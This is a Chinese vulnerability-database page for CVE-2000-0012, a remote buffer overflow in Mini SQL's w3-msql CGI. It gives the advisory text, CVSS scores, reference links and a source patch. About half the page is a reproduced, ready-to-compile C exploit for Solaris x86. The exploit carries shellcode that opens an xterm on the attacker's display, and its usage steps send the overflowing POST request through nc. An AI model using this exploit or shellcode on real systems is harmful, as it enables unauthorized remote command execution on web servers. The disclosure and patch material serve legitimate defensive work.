CVE-2000-0012
CVSS10.0
发布时间 :1999-12-27 00:00:00
修订时间 :2008-09-10 15:02:18
NMCOE    

[原文]Buffer overflow in w3-msql CGI program in miniSQL package allows remote attackers to execute commands.


[CNNVD]Mini SQL w3-msql远程缓冲区溢出漏洞(CNNVD-199912-092)

        
        Mini SQL是一个小型的SQL数据库系统,由Hughes Technology公司开发和维护。w3-msql是作为Mini-SQL的Web访问接口的CGI程序。
        w3-msql实现上存在多个缓冲区溢出漏洞,远程攻击者可能利用其中的一个溢出漏洞以CGI进程的权限执行任意指令。
        发生溢出的缓冲区为content-length字段,在scanf()调用中发生溢出,精心构建字串,远程攻击者可能通过溢出攻击以Web服务进程的权限执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0012
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0012
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199912-092
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/898
(UNKNOWN)  BID  898

- 漏洞信息

Mini SQL w3-msql远程缓冲区溢出漏洞
危急 边界条件错误
1999-12-27 00:00:00 2005-05-02 00:00:00
远程  
        
        Mini SQL是一个小型的SQL数据库系统,由Hughes Technology公司开发和维护。w3-msql是作为Mini-SQL的Web访问接口的CGI程序。
        w3-msql实现上存在多个缓冲区溢出漏洞,远程攻击者可能利用其中的一个溢出漏洞以CGI进程的权限执行任意指令。
        发生溢出的缓冲区为content-length字段,在scanf()调用中发生溢出,精心构建字串,远程攻击者可能通过溢出攻击以Web服务进程的权限执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 给脚本程序打上如下的补丁:
        !Hispahack在他们的Bugtraq post里提供了如下补丁
        ------ w3-msql.patch ---------
        410c410
        < scanf(" ", boundary);
        ---
        > scanf("%128s ", boundary);
        418c418
        < strcat(var, buffer);
        ---
        > strncat(var, buffer,sizeof(buffer));
        428c428
        < scanf(" Content-Type: ", buffer);
        ---
        > scanf(" Content-Type: %15360s ", buffer);
        ------ w3-msql.patch ---------
        厂商补丁:
        Hughes Technology
        -----------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.hughes.com.au/

- 漏洞信息 (19696)

Hughes Technologies Mini SQL (mSQL) 2.0.11 w3-msql Buffer Overflow (EDBID:19696)
solaris remote
1999-10-28 Verified
0 Zhodiac
N/A [点击下载]
source: http://www.securityfocus.com/bid/898/info

w3-msql is a cgi-program shipped with Mini-SQL which acts as a web interface for msql. There are a number of buffer overflow vulnerabilities in it with one proven to be exploitable. The exploitable buffer is the content-length field and the stack is overflowed inside of a scanf() call. As a result, it is possible to execute arbitrary code remotely as the uid of the webserver (usually nobody).


/*
 * !Hispahack Research Team
 * http://hispahack.ccc.de
 *
 * Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
 *
 * Platform: Solaris x86
 *           Feel free to port it to other arquitectures, if you can...
 *           If so mail me plz.
 *
 * By: Zhodiac <zhodiac@softhome.net>
 *
 * Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
 *        2) xhost +<target_ip>
 *        3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
 *        4) Take a cup of cofee, some kind of drug or wathever
 *           estimulates you at hacking time... while the xterm is comming
 *           or while you are getting raided.
 * 
 * #include <standard/disclaimer.h>
 *        
 * Madrid, 28/10/99
 * 
 * Spain r0x
 *        
 */

#include <stdio.h>
#include <string.h>  
#include <stdlib.h>

/******************/
/* Customize this */
/******************/
//#define LEN_VAR         50     /* mSQL 2.0.4 - 2.0.10.1 */
#define LEN_VAR       128    /* mSQL 2.0.11 */

// Solaris x86
#define ADDR 0x8045f8

// Shellcode Solaris x86
char shellcode[]= /* By Zhodiac <zhodiac@softhome.net> */
 "\x8b\x74\x24\xfc\xb8\x2e\x61\x68\x6d\x05\x01\x01\x01\x01\x39\x06"
 "\x74\x03\x46\xeb\xf9\x33\xc0\x89\x46\xea\x88\x46\xef\x89\x46\xfc"
 "\x88\x46\x07\x46\x46\x88\x46\x08\x4e\x4e\x88\x46\xff\xb0\x1f\xfe"
 "\xc0\x88\x46\x21\x88\x46\x2a\x33\xc0\x89\x76\xf0\x8d\x5e\x08\x89"
 "\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x50\x8d\x5e\xf0\x53\x56\x56\xb0"
 "\x3b\x9a\xaa\xaa\xaa\xaa\x07\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
 "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
 "/bin/shA-cA/usr/openwin/bin/xtermA-displayA";

#define ADDR_TIMES      12
#define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16
#define NOP     0x90
 
int main (int argc, char *argv[]) {
 
char *buf, *ptr;
long addr=ADDR;
int aux;

 if (argc<3){
   printf("Usage: %s target display | nc target 80 \n",argv[0]);
   exit(-1);
   }

 if ((buf=malloc(BUFSIZE))==NULL) {
       perror("malloc()");
       exit(-1);
      } 

 shellcode[44]=(char)strlen(argv[2])+43;
   
 ptr=(char *)buf;
 memset(ptr,NOP,BUFSIZE-strlen(argv[2])-strlen(shellcode)-ADDR_TIMES*4);
 ptr+=BUFSIZE-strlen(shellcode)-strlen(argv[2])-ADDR_TIMES*4;
 memcpy(ptr,shellcode,strlen(shellcode));
 ptr+=strlen(shellcode);  
 memcpy(ptr,argv[2],strlen(argv[2]));
 ptr+=strlen(argv[2]);

 for (aux=0;aux<ADDR_TIMES;aux++) {
   ptr[0] = (addr & 0x000000ff);
   ptr[1] = (addr & 0x0000ff00) >> 8;
   ptr[2] = (addr & 0x00ff0000) >> 16;
   ptr[3] = (addr & 0xff000000) >> 24;
   ptr+=4;
   }
 
 printf("POST /cgi-bin/w3-msql/index.html HTTP/1.0\n");
 printf("Connection: Keep-Alive\n");
 printf("User-Agent: Mozilla/4.60 [en] (X11; I; Linux 2.0.38 i686\n");
 printf("Host: %s\n",argv[1]);  
 printf("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg\n");
 printf("Accept-Encoding: gzip\n");   
 printf("Accept-Language: en\n");
 printf("Accept-Charset: iso-8859-1,*,utf-8\n");
 printf("Content-type: multipart/form-data\n");
 printf("Content-length: %i\n\n",BUFSIZE);
 
 printf("%s \n\n\n",buf);
 
 free(buf);
 
}
 
		

- 漏洞信息

232
Mini SQL CGI content-length Field Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1999-12-27 Unknow
1999-12-27 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站